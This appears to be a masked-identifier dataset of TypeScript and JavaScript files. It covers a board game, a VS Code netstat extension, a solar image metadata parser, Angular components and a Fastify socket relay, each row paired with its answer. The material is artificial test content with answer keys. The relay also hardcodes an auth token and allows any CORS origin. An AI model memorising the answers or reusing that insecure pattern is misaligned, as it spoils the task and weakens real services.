                // }
            }
            if (touchType == ""player"") {
                var player = this.playerList[playerIndex];
                for (var gx = 0; gx < this.canvasParam.blockNum; gx++) {
                    for (var gy = 0; gy < this.canvasParam.blockNum; gy++) {
                        var blockPosition = this.blockPosition(gx, gy)
                        if (Math.abs(player.x - blockPosition[0]) < this.canvasParam.blockWdith / 2
                            && Math.abs(player.y - blockPosition[1]) < this.canvasParam.blockWdith / 2
                        ) {
                            player.gx = gx;
                            player.gy = gy;
                        }
                    }
                }
                 [MASK]  = [player];
            }
            this.removeEventListener(egret.TouchEvent.TOUCH_BEGIN, touchStart, this);
            this.removeEventListener(egret.TouchEvent.TOUCH_MOVE, touchMove, this);
            this.removeEventListener(egret.TouchEvent.TOUCH_END, touchEnd, this);
            this.removeEventListener(egret.TouchEvent.TOUCH_RELEASE_OUTSIDE, touchEnd, this);
            window[""touchResult""]( [MASK] );
        }

        // 触摸事件
        this.addEventListener(egret.TouchEvent.TOUCH_BEGIN, touchStart, this);
        this.addEventListener(egret.TouchEvent.TOUCH_MOVE, touchMove, this);
        this.addEventListener(egret.TouchEvent.TOUCH_END, touchEnd, this);
        this.addEventListener(egret.TouchEvent.TOUCH_RELEASE_OUTSIDE, touchEnd, this);
    }

    public setWall(player, list) {
        for (var i in list) {
            list[i].setWall(player)
        }
    }

    public setPositionWall(player,type,gx,gy){
        for(var i in this.childrenList){
            if(this.childrenList[i].gtype == type && this.childrenList[i].gx == gx && this.childrenList[i].gy == gy){
                this.childrenList[i].setWall(player);
                return;
            }
        }
    }

    public setPLayerPosition(playerIndex, gx, gy) {
        // this.x = width * (gx + 0.5) + 10;
        // this.y = width * (gy + 0.5) + 10;
        console.log(""setPLayerPosition"",playerIndex, gx, gy);
        var player = this.playerList[playerIndex];

        var p = this.blockPosition(gx, gy);
        player.x = p[0];
        player.y = p[1];
        player.gx = gx;
        player.gy = gy;
    }

    /**
     * 根据name关键字创建一个Bitmap对象。name属性请参考resources/resource.json配置文件的内容。
     * Create a Bitmap object according to name keyword.As for the property of name please refer to the configuration file of resources/resource.json.
     */
    // private createBitmapByName(name: string) {
    //     let result = new egret.Bitmap();
    //     let texture: egret.Texture = RES.getRes(name);
    //     result.texture = texture;
    //     return result;
    // }

    // /**
    //  * 描述文件加载成功，开始播放动画
    //  * Description file loading is successful, start to play the animation
    //  */
    // private startAnimation(result: string[]) {
    //     let parser = new egret.HtmlTextParser();

    //     let textflowArr = result.map(text => parser.parse(text));
    //     let textfield = this.textfield;
    //     let count = -1;
    //     let change = () => {
    //         count++;
    //         if (count >= textflowArr.length) {
    //             count = 0;
    //         }
    //         let textFlow = textflowArr[count];

    //         // 切换描述内容
    //         // Switch to described content
    //         textfield.textFlow = textFlow;
    //         let tw = egret.Tween.get(textfield);
    //         tw.to({ ""alpha"": 1 }, 200);
    //         tw.wait(2000);
    //         tw.to({ ""alpha"": 0 }, 200);
    //         tw.call(change, this);
    //     };

    //     change();
    // }
}

class Dot extends egret.Shape {
    public constructor(gx, gy, size) {
        super();
        this.graphics.beginFill(0x121212);
        this.graphics.drawCircle(0, 0, size);
        this.graphics.endFill();
        this.gx = gx;
        this.gy = gy;
        this.touchEnabled = true;
        this.name = ""dot"";
    }
    public gx;
    public gy;
    public onTouch() {
        this.scaleX = 1.2;
        this.scaleY = 1.2;
    }
    public endTouch() {
        this.scaleX = 1;
        this.scaleY = 1;
    }
}
class Line extends egret.Shape {
    private lineColor;
    private lineTouchColor;
    private playerLineColor;
    public constructor(gx, gy, width, height, type, param) {
        super();
        this.lineColor = param.lineColor;
        this.lineTouchColor = param.lineTouchColor;
        this.playerLineColor = param.playerLineColor;
        this.graphics.beginFill(this.lineColor);
        this.graphics.drawRect(-width / 2, -height / 2, width, height);
        this.graphics.endFill();
        this.gx = gx;
        this.gy = gy;
        this.gtype = type;
        this.touchEnabled = true;
        this.width = width;
        this.height = height;
        this.name = ""Line"";
    }
    public width;
    public height;
    public gx;
    public gy;
    public gtype;
    public touched = false;
    public onTouch() {
        this.graphics.beginFill(this.lineTouchColor);
        this.graphics.drawRect(-this.width / 2, -this.height / 2, this.width, this.height);
        this.graphics.endFill();
    }
    public endTouch() {
        this.graphics.beginFill(this.lineColor);
        this.graphics.drawRect(-this.width / 2, -this.height / 2, this.width, this.height);
        this.graphics.endFill();
    }
    public setWall(player) {
        this.touched = true;
        this.graphics.beginFill(this.playerLineColor[player]);
        this.graphics.drawRect(-this.width / 2, -this.height / 2, this.width, this.height);
        this.graphics.endFill();
    }
}

class Player extends egret.Shape {
    // private lineColor;
    // private lineTouchColor;
    // private playerLineColor;

    public player;
    public constructor(r, player, param) {
        super();
        this.graphics.beginFill(param.playerLineColor[player]);
        this.graphics.drawCircle(0, 0, r);
        this.graphics.endFill();
        this.player = player;
        this.touchEnabled = true;
        this.name = ""player"";
        // this.lineColor = param.lineColor;
        // this.lineTouchColor = param.lineTouchColor;
        // this.playerLineColor = param.playerLineColor;
        // this.graphics.beginFill(this.lineColor);
        // this.graphics.drawRect(-width / 2, -height / 2, width, height);
        // this.graphics.endFill();
        // this.gx = gx;
        // this.gy = gy;
        // this.gtype = type;
        this.touchEnabled = true;
        // this.width = width;
        // this.height = height;
        // this.name = ""Line"";
    }
    // public width;
    // public height;
    public gx;
    public gy;
    // public setPosition(width, gx, gy) {
    //     this.x = width * (gx + 0.5) + 10;
    //     this.y = width * (gy + 0.5) + 10;
    //     this.gx = gx;
    //     this.gy = gy;
    // }
    // public gtype;
    // public touched = false;
    // public onTouch() {
    //     this.graphics.beginFill(this.lineTouchColor);
    //     this.graphics.drawRect(-this.width / 2, -this.height / 2, this.width, this.height);
    //     this.graphics.endFill();
    // }
    // public endTouch() {
    //     this.graphics.beginFill(this.lineColor);
    //     this.graphics.drawRect(-this.width / 2, -this.height / 2, this.width, this.height);
    //     this.graphics.endFill();
    // }
    // public setWall(player) {
    //     this.touched = true;
    //     this.graphics.beginFill(this.playerLineColor[player]);
    //     this.graphics.drawRect(-this.width / 2, -this.height / 2, this.width, this.height);
    //     this.graphics.endFill();
    // }
}   ",uploadList
302,"import * as vscode from 'vscode';
import * as os from 'os';
import * as fs from 'fs';
import * as path from 'path';
import * as child_process from 'child_process';

interface NetstatRecord {
  proto: string,
  localAddress: string,
  localPort: number,
  foreignAddress: string,
  foreignPort: number,
  state: string,
  pid: number
}

export interface PORT_STATES {
  LISTENING: boolean,
  ESTABLISHED: boolean,
  TIME_WAIT: boolean,
  CLOSE_WAIT: boolean,
}
class NetstatViewProvider implements vscode.WebviewViewProvider {

  public static readonly viewType = 'vscode-netstat-ng.netstat';

  private _view?: vscode.WebviewView;

  constructor(private readonly _extensionUri: vscode.Uri) { }

  resolveWebviewView(webviewView: vscode.WebviewView, context: vscode.WebviewViewResolveContext<unknown>, token: vscode.CancellationToken): void | Thenable<void> {
    this._view = webviewView;

    webviewView.webview.options = {
      // Allow scripts in the webview
      enableScripts: true,

      localResourceRoots: [
        this._extensionUri
      ]
    };

    webviewView.webview.html = this._getHtmlForWebview(webviewView.webview);

    webviewView.webview.onDidReceiveMessage(data => {
      switch (data.command) {
        case 'netstat':
          this.netstat(data.portStates, data.ports);
          break;
        case 'killProcess':
          this.killOwnerProcess(data.pid);
          break;
      }
    });
  }

  netstat(portStates: PORT_STATES, ports: string[], ) {
    const netstatRecords: Array<NetstatRecord> = [];
    let rawNetstatBuffer = '';
    const dirProcess = child_process.spawn(
      'cmd',
      [
        '/C'
        ,'netstat'
        ,'-anop'
        ,'tcp'
      ]
    );

    dirProcess.stdout.on('data', (data) => {
      rawNetstatBuffer += data;
    });

    dirProcess.stderr.on('data', (data) => {
      console.error(`stderr: ${data}`);
    });
    dirProcess.on('exit', (code) => {
      const netstatRecordLines = rawNetstatBuffer.split('\n')
        .filter(line => line.trim().startsWith('TCP'))
        .map(line => line.trim())
        .forEach(line => {
          const localParts = line.substring(7, 29).trim().split(/[:]/);
          const localAddress = localParts[0];
          const localPort = parseInt(localParts[1], 10);

          if (ports.length > 0 && !ports.includes('' + localPort)) {
            return;
          }

          const foreignParts = line.substring(30, 52).trim().split(/[:]/);
          const foreignAddress = foreignParts[0];
          const foreignPort = parseInt(foreignParts[1]);
          const state = line.substring(53, 68).trim();
          const pid = parseInt(line.substring(69).trim());
          const aNetstatObject = {
            proto: 'TCP',
            localAddress,
            localPort,
            foreignAddress,
            foreignPort,
            state,
            pid
          };
          if (portStates.LISTENING && state === 'LISTENING') {
            netstatRecords.push(aNetstatObject);
          } if (portStates.ESTABLISHED && state === 'ESTABLISHED') {
            netstatRecords.push(aNetstatObject);
          } if (portStates.TIME_WAIT && state === 'TIME_WAIT') {
            netstatRecords.push(aNetstatObject);
          } else if (portStates.CLOSE_WAIT && state === 'CLOSE_WAIT') {
            netstatRecords.push(aNetstatObject);
          }
        });
      this._view?.webview.postMessage({
        command: 'netstat',
        netstatRecords: netstatRecords
      });
    });
  }

  killOwnerProcess(pid: number) {
    if (pid) {
      vscode.window.showInformationMessage(`Kill process id: ${pid}`, 'No', 'Yes').then(response => {
        if (response === 'Yes') {
          const dirProcess = child_process.spawn(
            'cmd',
            [
              '/C'
              ,'taskkill'
              ,'/F'
              ,'/PID'
              ,`${pid}`
            ]
          );
          dirProcess.on('exit', (code) => {
            this.refreshView();
          });
        }
      });
    }
  }

  setColorTheme(colorTheme: vscode.ColorTheme) {
    this._view?.webview.postMessage({
      command: 'colorTheme',
      colorTheme
    });
  }

  refreshView() {
    this._view?.webview.postMessage({
      command: 'refreshView'
    });
  }

  /**
   * Returns html of the start page (index.html)
   */
  private _getHtmlForWebview(webview: vscode.Webview) {
    // URI to dist folder
    const  [MASK]  = webview.asWebviewUri(vscode.Uri.joinPath(this._extensionUri, 'dist'));;

    // path as uri
    const baseUri = webview.asWebviewUri( [MASK] );

    // get path to index.html file from dist folder
    const indexPath = path.join( [MASK] .fsPath, 'index.html');

    // read index file from file system
    let indexHtml = fs.readFileSync(indexPath, { encoding: 'utf8' });

    // update the base URI tag
    indexHtml = indexHtml.replace('<base href=""/"">', `<base href=""${String(baseUri)}/"">`);

    return indexHtml;
  }
}

let extensionPath: string;
let outputChannel: vscode.OutputChannel;

/**
 * Activates extension
 * @param context vscode extension context
 */
export function activate(context: vscode.ExtensionContext) {
  extensionPath = context.extensionPath;

  outputChannel = vscode.window.createOutputChannel(context.extension.id.replace('sandipchitale.', ''));

  const provider = new NetstatViewProvider(context.extensionUri);

  context.subscriptions.push(vscode.window.registerWebviewViewProvider(NetstatViewProvider.viewType, provider));

  vscode.window.onDidChangeActiveColorTheme((colorTheme: vscode.ColorTheme) => {
    provider.setColorTheme(colorTheme);
  });
}


",appDistUri
303,"import { MathUtils, RadiusMeter } from ""./math/MathUtils"";

/**
 * Used for parsing XML jp2 information from Helioviewer
 */
class HelioviewerJp2Metadata {
    private xml: XMLDocument;
    /** Optional date override to use instead of attempting to parse from metadata */
    private _date: Date | undefined;
    /**
     * @param header JP2Image header
     * @param date If set, use this date instead of reading from metadata
     */
    constructor(header: string, date?: Date) {
        const parser = new DOMParser();
        this.xml = parser.parseFromString(header, ""text/xml"");
        this._date = date;
    }

    getSolarRadiusFactor(): number {
        return 1;
    }

    /**
     * Retrieves the radius of the sun in pixels according to the jp2 metadata.
     */
    radiusInPixels() {
        return this.getNumberOrDie(""SOLAR_R"");
    }

    date(): Date {
        // Use date override if it is set.
        // This was simpler than trying to handle different FITS
        // keys to correctly get the date since helioviewer already does this.
        // It may be implemented in the future.
        if (typeof this._date !== undefined) {
            return this._date as Date;
        }

        const  [MASK]  = this.get(""DATE_OBS"", """");
        if ( [MASK]  === """") {
            throw ""Missing DATE_OBS"";
        }
        return new Date(`${ [MASK] }Z`);
    }

    /**
     * returns the radius of the sun in arcseconds calculated according to the
     * observatory's distance from the sun.
     */
    radiusInArcsec() {
        try {
            // Attempt to compute the radius using the distance to the sun.
            // This may fail if some variation of DSUN is not available in the
            // JP2 Header
            const out = this.toDegrees(Math.atan2(this.getSolarRadiusFactor(), this.distanceToSun())) * 3600;
            return out;
        } catch (e) {
            try {
                // If DSUN is not available, distanceToSun will fail, in that case
                // try to calculate it using the radius in pixels.
                const out = this.imageScaleX * this.radiusInPixels()
                return out;
            } catch (e) {
                // If there no SOLAR_R/RSUN value then radiusInPixels will fail.
                // For this case just assume rsun at 1 AU
                const earthDistance = MathUtils.getEarthDistance(this.date().getTime());
                const out = this.toDegrees(Math.atan2(this.getSolarRadiusFactor(), earthDistance)) * 3600;
                return out;
            }
        }
    }

    /**
     * Returns the distance to the sun in solar radii units.
     */
    distanceToSun(): number {
        let dsun = this.getNumber(""DSUN_OBS"", 0);
        if (dsun === 0) dsun = this.getNumberOrDie(""DSUN"");
        return  dsun / RadiusMeter;
    }

    toDegrees(angle: number) {
        return angle * 180 / Math.PI;
    }

    toRadians(angle: number) {
        return angle * Math.PI / 180;
    }

    width(): number {
        const w = this.getNumber(""NAXIS1"", 0);
        if (w === 0) {
            throw ""Invalid Image, missing NAXIS1"";
        }
        return w;
    }

    height(): number {
        const h = this.getNumber(""NAXIS2"", 0);
        if (h === 0) {
            throw ""Invalid Image, missing NAXIS2"";
        }
        return h;
    }

    /**
     * Compute the scale according to the distance to the sun.
     * Helioviewer's given R_SUN can't be trusted to do this accurately.
     * It computes a value that may work for Helioviewer.org, but not for
     * the accuracy that we need in this application.
     */
    scale(): number {
        // Assume cdelt1 and cdelt2 are the same.
        const arcsecPerPixel = this.imageScaleX;
        const rsun_px = this.radiusInArcsec()  / arcsecPerPixel;
        const shortEdge = Math.min(this.width(), this.height());
        return shortEdge / (4 * rsun_px);
    }

    /**
     * Convert arcseconds to solar radius units
     * @param arcsec Unit in arcseconds
     * @returns The distance in solar radii
     */
    arcsec2Solrad(arcsec: number): number {
        return arcsec / this.radiusInArcsec();
    }

    /**
     * Convert pixel coordinates to arcseconds
     * @param pixel The pixel coordinate to convert
     * @param refPix The reference pixel (CRPIX)
     * @param refVal The reference value (CRVAL)
     * @param delta The pixel scale (CDELT)
     * @returns The coordinate in arcseconds
     */
    pixel2arcsec(pixel: number, refPix: number, refVal: number, delta: number) {
        return (pixel - refPix) * delta + refVal;
    }

    /**
     * Convert pixel coordinates to solar radius units
     * @param pixel The pixel coordinate to convert
     * @param refPix The reference pixel (CRPIX)
     * @param refVal The reference value (CRVAL)
     * @param delta The pixel scale (CDELT)
     * @returns The coordinate in solar radii
     */
    pixel2solrad(pixel: number, refPix: number, refVal: number, delta: number): number {
        const arcsec = this.pixel2arcsec(pixel, refPix, refVal, delta);
        return this.arcsec2Solrad(arcsec);
    }

    /**
     * Returns the arcseconds / pixel scale of the image.
     * @param cdeltKey options: [CDELT1, CDELT2]
     * @param cunitKey options: [CUNIT1, CUNIT2]
     * @returns {number}
     */
    private getPixelDelta(cdeltKey: string, cunitKey: string): number {
        const unit = this.get(cunitKey, ""arcsec"").trim();
        const delta = this.getNumberOrDie(cdeltKey);
        if (unit === ""deg"") {
            return delta * 3600;
        }
        return delta;
    }

    private get imageScaleX(): number {
        return this.getPixelDelta(""CDELT1"", ""CUNIT1"");
    }

    private get imageScaleY(): number {
        return this.getPixelDelta(""CDELT2"", ""CUNIT2"");
    }

    /**
     * Computes the amount to move the entire model to account for WCS information.
     * This is different than only moving the image to align with a model.
     */
    sceneOffsetX(): number {
        const ref = this.getNumberOrDie(""CRPIX1"") - 0.5;
        // JHelioviewer defaults to 0 if CRVAL is not present. Do the same here.
        const crval = this.getNumber(""CRVAL1"", 0);
        const cdelt = this.imageScaleX;
        // Get the current position of the reference pixel in scene units
        // This is done by assuming the center of the image (this.width()) is
        // by default at the center of the scene (reference value 0).
        const currentPos = this.pixel2solrad(ref, this.width() / 2, 0, cdelt);
        // Get the target position of the reference pixel in scene units
        // This is where it ought to be, computed using normal info from header.
        const targetPos = this.pixel2solrad(ref, ref, crval, cdelt);
        return targetPos - currentPos;
    }

    sceneOffsetY(): number {
        const ref = this.getNumberOrDie(""CRPIX2"") - 0.5;
        // JHelioviewer defaults to 0 if CRVAL is not present. Do the same here.
        const crval = this.getNumber(""CRVAL2"", 0);
        const cdelt = this.imageScaleY;
        // Get the current position of the reference pixel in scene units
        // This is done by assuming the center of the image (this.width()) is
        // by default at the center of the scene (reference value 0).
        const currentPos = this.pixel2solrad(ref, this.width() / 2, 0, cdelt);
        // Get the target position of the reference pixel in scene units
        // This is where it ought to be, computed using normal info from header.
        const targetPos = this.pixel2solrad(ref, ref, crval, cdelt);
        return targetPos - currentPos;
    }

    /**
     * Compute the openGL offset along the Y axis
     */
    glOffsetY() {
        const ref = this.getNumberOrDie(""CRPIX2"") - 0.5;
        // JHelioviewer defaults to 0 if CRVAL is not present. Do the same here.
        const crval = this.getNumber(""CRVAL2"", 0);
        const cdelt = this.imageScaleY;
        const px = crval / cdelt / this.height();
        return (ref) / this.height() - px;
    }

    /**
     * Compute the openGL offset along the X axis
     */
    glOffsetX() {
        const ref = this.getNumberOrDie(""CRPIX1"") - 0.5;
        // JHelioviewer defaults to 0 if CRVAL is not present. Do the same here.
        const crval = this.getNumber(""CRVAL1"", 0);
        const cdelt = this.imageScaleX;
        const px = crval / cdelt / this.width();
        return ref / this.width() - px;
    }

    centerOfRotation() {
        const xcen = this.getNumberOrDie(""CRPIX1"") - 0.5;
        const ycen = this.getNumberOrDie(""CRPIX2"") - 0.5;
        return [xcen / this.width(), ycen / this.height()];
    }

    /**
     * Returns the value of the given tag or else the default Value if the
     * tag can't be found
     * @param tag
     * @param defaultValue
     */
    private get(tag: string, defaultValue: any): string {
        const tags = this.xml.getElementsByTagName(tag);
        if (tags.length === 0) {
            console.warn(`Couldn't find ${tag}, using default value ${defaultValue}`);
            return defaultValue;
        }
        console.assert(tags[0].textContent != null);
        return tags[0].textContent as string;
    }

    /**
     * Returns the numeric value of the given tag or else the default Value if the
     * tag can't be found
     * @param tag
     * @param defaultValue
     */
    private getNumber(tag: string, defaultValue: number): number {
        const val = parseFloat(this.get(tag, defaultValue));
        return isNaN(val) ? defaultValue : val;
    }

    /**
     * Returns the numeric value of the given tag or else the default Value if the
     * tag can't be found
     * @param tag
     * @param defaultValue
     */
    private getNumberOrDie(tag: string): number {
        const val = parseFloat(this.get(tag, ""Invalid""));
        if (isNaN(val)) {
            throw ""Invalid header, missing tag "" + tag;
        }
        return val;
    }
}

export { HelioviewerJp2Metadata }
",dateStr
304,"import { ApiAdapter } from '../../infrastructure/adapters/ApiAdapter';
import { User } from '../../domain/entities/User';

// Interfaz para el perfil de usuario
interface UserProfile {
  id: string;
  auth_id: string;
  first_name: string;
  last_name: string;
  email: string;
  avatar_url?: string;
  bio?: string;
}

// Interfaz para actualizar el perfil
interface ProfileUpdate {
  first_name: string;
  last_name: string;
  bio?: string;
  avatar_url?: string;
}

export class UserService {
  private api: ApiAdapter;
  
  constructor() {
    this.api = new ApiAdapter();
  }
  
  /**
   * Obtiene el perfil del usuario actual
   */
  async getMyProfile(): Promise<UserProfile> {
    return this.api.get<UserProfile>('/users/me');
  }
  
  /**
   * Actualiza el perfil del usuario
   */
  async updateProfile( [MASK] : ProfileUpdate): Promise<UserProfile> {
    return this.api.put<UserProfile>('/users/me',  [MASK] );
  }
  
  /**
   * Convierte un UserProfile a un User de dominio
   */
  mapProfileToUser(profile: UserProfile): User {
    return {
      id: profile.auth_id,
      email: profile.email,
      name: `${profile.first_name} ${profile.last_name}`.trim()
    };
  }
} ",profileData
305,"import { Component, Input, OnChanges, OnInit, SimpleChanges } from '@angular/core';
import { Project } from '../stats-client/models/Project';
import { Series } from '../helpers/stats-transformer';
import * as d3 from 'd3-shape';
@Component({
  selector: 'all-stats',
  templateUrl: './all-stats.component.html',
  styleUrls: ['./all-stats.component.scss']
})
export class AllStatsComponent implements OnChanges {
  @Input() project: Project;
  @Input() noProjects: number;
  @Input() unit = 'days';
  stats: Series[];
  curve = d3.curveCatmullRom;

  constructor() { }

  ngOnChanges( [MASK] : SimpleChanges) {
    if ( [MASK] .project &&  [MASK] .project.currentValue) {
      if ( [MASK] .project.currentValue.stats &&  [MASK] .project.currentValue.stats.seriesCommits) {
        this.stats =  [MASK] .project.currentValue.stats.seriesCommits.filter(x => x.name === this.unit);
      }
    }
  }

}
",changes
306,"import Fastify, { FastifyInstance } from 'fastify';
import { Server as SocketIOServer } from 'socket.io';
import fastifySocketIO from 'fastify-socket.io';
import Client from 'socket.io-client';

import { UserContext } from './types/user-context';
import connectionManager from './utils/connection-manager';
import MessageEmitter from './utils/message-emitter';

interface FastifyInstanceWithIO extends FastifyInstance {
  io: SocketIOServer;
}

const fastify = Fastify() as unknown as FastifyInstanceWithIO;

fastify.register(fastifySocketIO, {
  path: '/ws',
  cors: { origin: '*' },
});

const backendClient = Client('http://localhost:3002');

fastify.ready().then(() => {
  fastify.io.use((socket, next) => {
    const token = socket.handshake.auth.token;
    if (!token) {
      console.log('Authorization header missing');
      return next(new Error('Authorization header missing'));
    }
    if (token !== 'MySecretToken') {
      console.log('Authentication error');
      return next(new Error('Authentication error'));
    }
    console.log('Authorization successful');
    return next();
  });

  const messageEmitter = new MessageEmitter(fastify.io);

  // Relay messages from backend-server to website clients
  backendClient.on('message', (context: UserContext, data: string) => {
    console.log(`fastify.io.emit: Message received from backend`);
    messageEmitter.emit(context, 'message', 'status', { status: data });
  });

  // Handle subscriptions from website
  fastify.io.on('connection', (socket) => {
    console.log('Website connected');
    socket.on('subscribe', (channel: string, { userId, sessionNumber }: UserContext) => {
      console.log(`Website subscribed to ${channel} for user ${userId} and session ${sessionNumber}`);
      connectionManager.addConnection(userId, sessionNumber, socket.id);

      backendClient.on(channel, (context: UserContext, data: any) => {
        console.log(`Message on ${channel} received from backend`);
        messageEmitter.emit(context, 'message', channel, data);
      });

      backendClient.on('error', (error: Error | any) => {
        console.log(`Error reported from backend`, error);
        socket.emit('error', error.message);
      });
      backendClient.emit('subscribe', channel, { userId, sessionNumber });
    });
  });

  backendClient.on('stats', (stats: string) => {
    const  [MASK]  = connectionManager.getStats();
    fastify.io.emit('stats', `API:\n${ [MASK] }\nBackend:\n${stats}\n`);
  });


  console.log('API server is running on port 3001');
});

fastify.listen({ port: 3001 }, (err) => {
  if (err) {
    console.error('Error starting server:', err);
    process.exit(1);
  }
});",apiStats
307,"import { Component } from '@angular/core';
import { NavController } from 'ionic-angular';

import { Notification } from '../../commons/notification';

import { VerNotificationPage } from './verNotification';

@Component({
  selector: 'page-notification',
  templateUrl: 'notification.html'
})
export class NotificationPage {

  notifications:Array<Notification> = [
    {action: ""reply"", img:""https://pbs.twimg.com/profile_images/631520492260839424/kG3suEXq_bigger.jpg"", nick_name:""@xurxodev"", text:""example ionic""},
    {action: ""reply"", img:""https://pbs.twimg.com/profile_images/902953212696768523/wMWePMB9_bigger.jpg"", nick_name:""@karatestarsapp"", text:""example ionic""},
    {action: ""reply"", img:""https://pbs.twimg.com/profile_images/755352605488971776/-bbgzJPy_bigger.jpg"", nick_name:""@kireidev"", text:""example ionic""}
  ];
  
  constructor(public navCtrl: NavController) {

  }

  verNotification( [MASK] :Notification){
    debugger;
    console.log(""Abriendo notificacion: "" +  [MASK] .nick_name);
    this.navCtrl.push(VerNotificationPage, {
      id:  [MASK] 
    });
  }
}

",_notification
308,"import { IProduct } from '@/model/IProduct';
import { createAsyncThunk, createEntityAdapter, createSlice } from '@reduxjs/toolkit';
import requests from ""../../../api/requests"";
import { RootState } from '../../store/store'; 


//Async thunk to fetch all products
export const fetchProducts = createAsyncThunk<IProduct[]>(
    ""catalog/fetchProducts"",
    async () => {
        return await requests.Catalog.list();
    }
);

//Async thunk to fetch a single product by ID
export const fetchProductById = createAsyncThunk<IProduct, number>(
    ""catalog/fetchProductById"",  //  fix typo in the type name
    async ( [MASK] ) => {
        return await requests.Catalog.details( [MASK] );
    }
);

//  Create entity adapter for normalized state
const productsAdapter = createEntityAdapter<IProduct>();

const initialState = productsAdapter.getInitialState({
    status: ""idle"",
    isLoaded: false,
});

//  Catalog slice
export const catalogSlice = createSlice({
    name: ""catalog"",
    initialState,
    reducers: {},
    extraReducers: (builder) => {
        builder.addCase(fetchProducts.pending, (state) => {
            state.status = ""pendingFetchProducts"";
        });
        builder.addCase(fetchProducts.fulfilled, (state, action) => {
            productsAdapter.setAll(state, action.payload); //  state is always first param
            state.isLoaded = true;
            state.status = ""idle"";
        });
        builder.addCase(fetchProducts.rejected, (state) => {
            state.status = ""idle"";
        });

        builder.addCase(fetchProductById.pending, (state) => {
            state.status = ""pendingFetchProductById"";
        });
        builder.addCase(fetchProductById.fulfilled, (state, action) => {
            productsAdapter.upsertOne(state, action.payload); // fix typo: upsertOne not upserOne
            state.status = ""idle"";
        });
        builder.addCase(fetchProductById.rejected, (state) => {
            state.status = ""idle"";
        });
    }
});

export const {
    selectById: selectProductById,
    selectIds: selectProductIds,
    selectEntities: selectProductEntities,
    selectAll: selectAllProducts,
    selectTotal: selectTotalProducts,
} = productsAdapter.getSelectors((state: RootState) => state.catalog);

",productId
309,"import { Component, OnInit, Renderer2, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
import { FormBuilder, FormGroup, FormControl } from '@angular/forms';

declare var ProctorClient3: any;

@Component({
  selector: 'app-talview-proctoring',
  templateUrl: './talview-proctoring.component.html',
  styleUrls: ['./talview-proctoring.component.css']
})
export class TalviewProctoringComponent implements OnInit {

  proctoringStatus: string;
  proctoringMsg: string;
  // talviewToken = '<PASSWORD>';
  sessionTitle = 'Proctored Test Assessment by StackRoute';
  // profileId = 'basav-b56<PASSWORD>-ca7a-4f41-a841-7131f639a086';
  isIDRequired = true;
  // session = '67825a32-8d53-4926-a70b-db42195fdd0b';
  clear = false;
  screen = true;
  skipHardwareTest = false;
  previewStyle = 'position: fixed; bottom: 0px;';
  proctorDetails: FormGroup;

  constructor(
    @Inject(DOCUMENT) private document: Document,
    private renderer2: Renderer2,
    private fb: FormBuilder
  ) {
    this.proctorDetails = this.fb.group({
      talviewToken: new FormControl(''),
      profileId: new FormControl(''),
      session: new FormControl(''),
    });
  }

  ngOnInit() {}

  loadJavaScriptAndStartProctoring() {
    console.log('Talview init token', this.proctorDetails.get('talviewToken').value);
    console.log('Profile ID is:: ', this.proctorDetails.get('profileId').value);
    console.log('Session id is', this.proctorDetails.get('session').value);
    const script = this.renderer2.createElement('script');
    script.type = `text/javascript`;
    script.text = `
      (function (i, s, o, g, r, a, m) {
        i['TalviewProctor'] = r; i[r] = i[r] || function () {
            (i[r].q = i[r].q || []).push(arguments)
        }, i[r].l = 1 * new Date(); a = s.createElement(o),
            m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m)
      })(window, document, 'script', 'https://cdn.proview.io/v5/init.js', 'tv');
      tv('init', '${this.proctorDetails.get('talviewToken').value}', {
          sessionTitle: '${this.sessionTitle}',
          profileId: '${this.proctorDetails.get('profileId').value}',
          isIDRequired: ${this.isIDRequired},
          session: '${this.proctorDetails.get('session').value}',
          clear: ${this.clear},
          screen: ${this.screen},
          skipHardwareTest: ${this.skipHardwareTest},
          previewStyle: '${this.previewStyle}',
          initCallback: function (err, id, a, v, s) {
              var a = document.createElement('a');
              a.setAttribute('target', '_blank');
              a.innerText = 'Open Session';
              a.setAttribute('href', 'https://appv5.proview.io/embedded/' + id); //embedded link
              document.getElementById('content').prepend(a);
          }
      });`;

    this.renderer2.appendChild(this.document.body, script);
  }

  onProctoringInitialised(error,  [MASK] , isAudioCaptured, isVideoCaptured, isScreenCaptured) {
    this.proctoringMsg = `Proctoring initialised, check here https://appv5.proview.io/embedded/${ [MASK] }`;
  }

  onProctoringStopped() {
    this.proctoringMsg = `Proctoring is now Stopped`;
  }

  onStartProctoring() {
    this.loadJavaScriptAndStartProctoring();
  }

  onStopProctoring() {
    ProctorClient3.stop(() => {
      this.onProctoringStopped();
    });
  }
}
",sessionPlaybackId
310,"import axios, { AxiosError, AxiosResponse } from ""axios"";

const AxiosErrorHandler = async ( [MASK] : AxiosError) => {
    if (axios.isAxiosError( [MASK] )) {
        const { status, data } =  [MASK] .response! as AxiosResponse ?? { status: 500, data: { message: ""Internal Server Error"" } };

        switch (status) {
            // Handle Errors - Define different Responses for different status codes
            case 400:
                return Promise.reject(data);
            case 401:
                // Remove Any Local Or Session Storage
                return Promise.reject(data);
            case 403:
                return Promise.reject(data);
            case 404:
                return Promise.reject(data);
            case 500:
                return Promise.reject(data);
            default:
                return Promise.reject(data);
        }
    }
    // Handle Network Errors
    return Promise.reject( [MASK] );
}

export default AxiosErrorHandler;
    ",error
311,"import {
  clearLoginData,
  checkLogin,
  getLoginInfo,
} from '@/tool/login'

export const proxy = (function () {
  if (process.env.NODE_ENV === 'development') {
    return 'http://192.168.44.160:9100/'
  } else {
    return process.env.PROXY
  }
})()

export const SOURCE = (function () {
  return 'xjr_help_weapp'
  if (process.env.NODE_ENV === 'development') {
    // console.log('开发环境')
    return 'xjr_help_weapp'
  } else {
    // console.log('生产环境')
    // 当前环境生产测试
    return process.env.SOURCE || 'weapp'
  }
})()

function dealParams (params: { [index: string]: any }) {
  const defaultParams: { [index: string]: any } = {}
  for (const key of Object.keys(params)) {
    const value = params[key]
    if (value !== undefined && value !== null) {
      defaultParams[key] = params[key]
    }
  }
  defaultParams['source'] = SOURCE

  return defaultParams
}

// 组合URL
function generateUrl ({ proxy = '', url = '' }) {
  return proxy + url + ``
}

export const postForm = ({ url = '', params = {} }) => fetchConfig({
  url,
  params,
  header: {
    'content-type': 'application/x-www-form-urlencoded;',
    'source': SOURCE,
  },
})

// post
export const post = async ({ url = '', params = {} }) => fetchConfig({
  url,
  params,
  header: {
    'content-type': 'application/json',
    'source': SOURCE,
  },
})

function fetchConfig ({ header = {}, url = '', params = {} }) {
